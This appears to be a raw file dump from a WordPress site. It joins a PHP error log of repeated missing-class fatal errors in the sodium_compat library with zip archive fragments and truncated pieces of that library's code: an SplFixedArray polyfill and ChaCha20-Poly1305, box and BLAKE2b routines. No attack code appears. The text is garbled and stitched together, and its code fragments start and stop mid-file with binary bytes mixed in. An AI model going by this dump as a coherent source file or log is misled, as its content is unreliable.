/home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4 [10-Sep-2026 11:08:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4 [10-Sep-2026 11:08:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4 [10-Sep-2026 11:11:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4 [10-Sep-2026 11:11:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4 [10-Sep-2026 13:45:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4 [10-Sep-2026 13:52:04 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4 [10-Sep-2026 13:55:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4 [10-Sep-2026 13:55:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4 [10-Sep-2026 13:58:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4 [10-Sep-2026 14:04:04 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4 [10-Sep-2026 14:06:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4 [10-Sep-2026 14:06:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4 [10-Sep-2026 14:36:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4 [10-Sep-2026 14:36:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4 [10-Sep-2026 14:36:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4 [10-Sep-2026 14:37:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4 [10-Sep-2026 14:37:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4 [10-Sep-2026 14:37:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4 [10-Sep-2026 14:37:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4 [10-Sep-2026 14:40:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4 [10-Sep-2026 14:41:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4 [10-Sep-2026 14:46:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4 [10-Sep-2026 14:46:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4 [10-Sep-2026 14:46:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4 [10-Sep-2026 14:47:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4 [10-Sep-2026 14:47:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4 [10-Sep-2026 14:47:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4 [10-Sep-2026 14:47:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4 [10-Sep-2026 14:50:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4 [10-Sep-2026 14:51:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4 [10-Sep-2026 22:00:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4 [10-Sep-2026 22:06:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4 [10-Sep-2026 22:07:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4 [10-Sep-2026 22:07:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4 PK!Y[yffnamespaced/Core/XChaCha20.phpnu[ */ private $internalArray = array(); /** @var int $size */ private $size = 0; /** * SplFixedArray constructor. * @param int $size */ public function __construct($size = 0) { $this->size = $size; $this->internalArray = array(); } /** * @return int */ #[\ReturnTypeWillChange] public function count() { return count($this->internalArray); } /** * @return array */ public function toArray() { ksort($this->internalArray); return (array) $this->internalArray; } /** * @param array $array * @param bool $save_indexes * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function fromArray(array $array, $save_indexes = true) { $self = new SplFixedArray(count($array)); if($save_indexes) { foreach($array as $key => $value) { $self[(int) $key] = $value; } } else { $i = 0; foreach (array_values($array) as $value) { $self[$i] = $value; $i++; } } return $self; } /** * @return int */ #[\ReturnTypeWillChange] public function getSize() { return $this->size; } /** * @param int $size * @return bool */ #[\ReturnTypeWillChange] public function setSize($size) { $this->size = $size; return true; } /** * @param string|int $index * @return bool */ #[\ReturnTypeWillChange] public function offsetExists($index) { return array_key_exists((int) $index, $this->internalArray); } /** * @param string|int $index * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet($index) { /** @psalm-suppress MixedReturnStatement */ return $this->internalArray[(int) $index]; } /** * @param string|int $index * @param mixed $newval * @psalm-suppress MixedAssignment */ #[\ReturnTypeWillChange] public function offsetSet($index, $newval) { $this->internalArray[(int) $index] = $newval; } /** * @param string|int $index */ #[\ReturnTypeWillChange] public function offsetUnset($index) { unset($this->internalArray[(int) $index]); } /** * Rewind iterator back to the start * @link https://php.net/manual/en/splfixedarray.rewind.php * @return void * @since 5.3.0 */ #[\ReturnTypeWillChange] public function rewind() { reset($this->internalArray); } /** * Return current array entry * @link https://php.net/manual/en/splfixedarray.current.php * @return mixed The current element value. * @since 5.3.0 */ #[\ReturnTypeWillChange] public function current() { /** @psalm-suppress MixedReturnStatement */ return current($this->internalArray); } /** * Return current array index * @return int The current array index. */ #[\ReturnTypeWillChange] public function key() { return key($this->internalArray); } /** * @return void */ #[\ReturnTypeWillChange] public function next() { next($this->internalArray); } /** * Check whether the array contains more elements * @link https://php.net/manual/en/splfixedarray.valid.php * @return bool true if the array contains any more elements, false otherwise. */ #[\ReturnTypeWillChange] public function valid() { if (empty($this->internalArray)) { return false; } $result = next($this->internalArray) !== false; prev($this->internalArray); return $result; } public function __sleep() { return $this->internalArray; } /** * Do nothing. */ public function __wakeup() { // NOP } public function __serialize() { return array_values($this->internalArray); } public function __unserialize(array $data) { $length = count($data); $values = array_values($data); for ($i = 0; $i < $length; ++$i) { $this->internalArray[$i] = $values[$i]; } $this->size = $length; } } PK!ӈOOsrc/Crypto32.phpnu[update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core32_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core32_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core32_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { return self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core32_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * 